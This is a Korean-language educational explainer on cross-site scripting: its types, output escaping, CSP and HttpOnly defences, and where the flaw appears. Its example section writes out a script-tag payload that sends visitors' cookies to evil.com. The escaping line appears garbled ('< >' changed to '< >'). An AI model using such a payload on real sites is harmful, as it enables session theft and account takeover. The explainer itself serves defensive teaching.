쉬운 설명
사이트가 사용자 입력(댓글·프로필·검색어)을 그대로 화면에 표시하면, 누군가가 <script>...</script>를 입력해 그 페이지를 보는 다른 모든 사람의 브라우저에서 그 스크립트가 실행되게 만들 수 있습니다. 일단 실행되면 그 사용자의 쿠키를 훔치거나, 사용자 명의로 글을 쓰거나, 가짜 로그인 폼을 띄울 수 있습니다.
XSS는 크게 세 종류입니다. ① 저장형(Stored XSS): 악성 스크립트가 DB에 저장돼 다른 사용자에게 매번 노출됨. 가장 위험. ② 반사형(Reflected XSS): URL 파라미터에 담긴 스크립트가 페이지에 즉시 반사됨. 보통 피싱 링크로 사용. ③ DOM 기반: 클라이언트 자바스크립트가 사용자 입력을 안전하지 않게 DOM에 넣을 때 발생.
방어의 핵심은 '입력은 의심하고, 출력은 이스케이프한다'입니다. 사용자가 입력한 글을 화면에 넣을 때 <, >, &, " 같은 특수문자를 안전한 형태로 바꿔서, 브라우저가 그것을 스크립트로 해석하지 못하게 만듭니다. React·Vue·Svelte 같은 현대 프레임워크는 기본적으로 이걸 해 주지만, dangerouslySetInnerHTML·innerHTML 같은 우회 경로가 있으니 주의해야 합니다.
추가 방어층: ① Content Security Policy(CSP) 헤더로 '우리 사이트에선 외부 스크립트를 안 실행한다' 같은 규칙을 브라우저에 알리기. ② 쿠키에 HttpOnly 속성을 붙여 자바스크립트가 쿠키를 못 읽게 하기 — XSS가 발생해도 세션 탈취를 막을 수 있음. ③ 입력 길이·형식 검증을 클라이언트·서버 양쪽에서 하기.
현실적 영향: XSS는 OWASP Top 10에 항상 들어가는 흔하고 위험한 취약점입니다. 작은 댓글창 하나의 XSS가 전체 사이트의 세션을 탈취하는 사고로 이어진 사례가 많습니다. 새 코드를 짤 때 'innerHTML에 사용자 입력을 직접 넣지 마라'를 팀의 기본 원칙으로 두는 것이 가장 효과적인 예방책입니다.

비유로 보면
XSS는 게시판 글에 누가 몰래 마이크를 끼워 두는 일과 비슷합니다. 다른 사용자가 그 글을 보는 순간 마이크가 자동으로 작동해 그 사용자가 무슨 말을 하는지 — 비밀번호든 쿠키든 — 공격자에게 전송됩니다. 글을 표시하는 단계에서 위험한 마이크 같은 게 안 들어가게 걸러내는 것이 방어입니다.
어디에서 만나나
댓글·리뷰·프로필·검색어·이메일 본문·메시지처럼 사용자 입력을 그대로 보여 주는 모든 자리. 또 클라이언트 자바스크립트가 URL 파라미터·해시·localStorage 데이터를 DOM에 넣는 곳에서도 발생합니다.
작은 예시
게시판에 누가 '<script>document.location="https://evil.com/?c="+document.cookie</script>' 같은 댓글을 답니다. 사이트가 댓글을 그대로 출력하면, 그 글을 본 모든 사용자의 쿠키가 evil.com으로 전송됩니다. 출력 시 < > 를 < >로 바꿔 주는 한 줄이 이 사고를 막아 줍니다.
자주 하는 오해
한 줄 정리
XSS 방어의 첫 줄은 '사용자 입력을 신뢰하지 않는다'입니다. 두 번째 줄은 'innerHTML에 직접 넣지 않는다'. 이 두 가지만 지켜도 사고의 90%를 막을 수 있습니다.
